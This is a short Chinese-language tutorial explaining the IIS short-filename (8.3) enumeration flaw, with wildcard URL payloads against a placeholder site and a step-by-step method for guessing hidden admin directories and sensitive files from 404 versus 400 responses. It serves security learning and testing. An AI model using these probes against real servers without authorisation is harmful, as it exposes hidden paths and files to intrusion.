IIS短文件名的漏洞详解
一、漏洞的成因
1、为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
在Windows下查看对应的短文件名,可以使用命令dir/x。
2、短文件名有如下特征:
a、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。
b、后缀名最长只有3位,多余的被截断。
3、我们可以启用.net的iis下暴力列举短文件名,原因是:
a、访问构造的某个存在的短文件名,会返回404。
b、访问构造的某个不存在的短文件名,会返回400。
二、漏洞的利用
1、需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url。
a、http://www.xxxx.com/*~1***/a.aspx
b、http://www.xxxx.com/dad*~1***/a.aspx/
2、如果404则文件存在,继续猜解
a、http://www.xxxx.com/a*~1***/a.aspx404
b、http://www.xxxx.com/ad*~1***/a.aspx404
c、http://www.xxxx.com/adm*~1***/a.aspx
3、依次类推,一个一个枚举就可以进行下去。
注意:如果admin开头的是一个文件夹,则
http://www.xxxx.com/admin*~1/a.aspx会是404的。
4、继续猜解
http://www.xxxx.com/admin*~1*g*/a.aspx
如果404,则扩展名肯定有g,按这个思路继续。
三、实际用处
1、猜后台。
2、猜敏感文件。
3、一些情况,可以通过短文件名直接下载对应的文件。
四、局限性
1、只能猜6位,以及扩展名前3位。
2、名称较短的文件是没有相应的短文件名的。
3、需要iis和.net两个条件都满足。
参考来源:http://www.iis7.com/a/nr/20180828459.html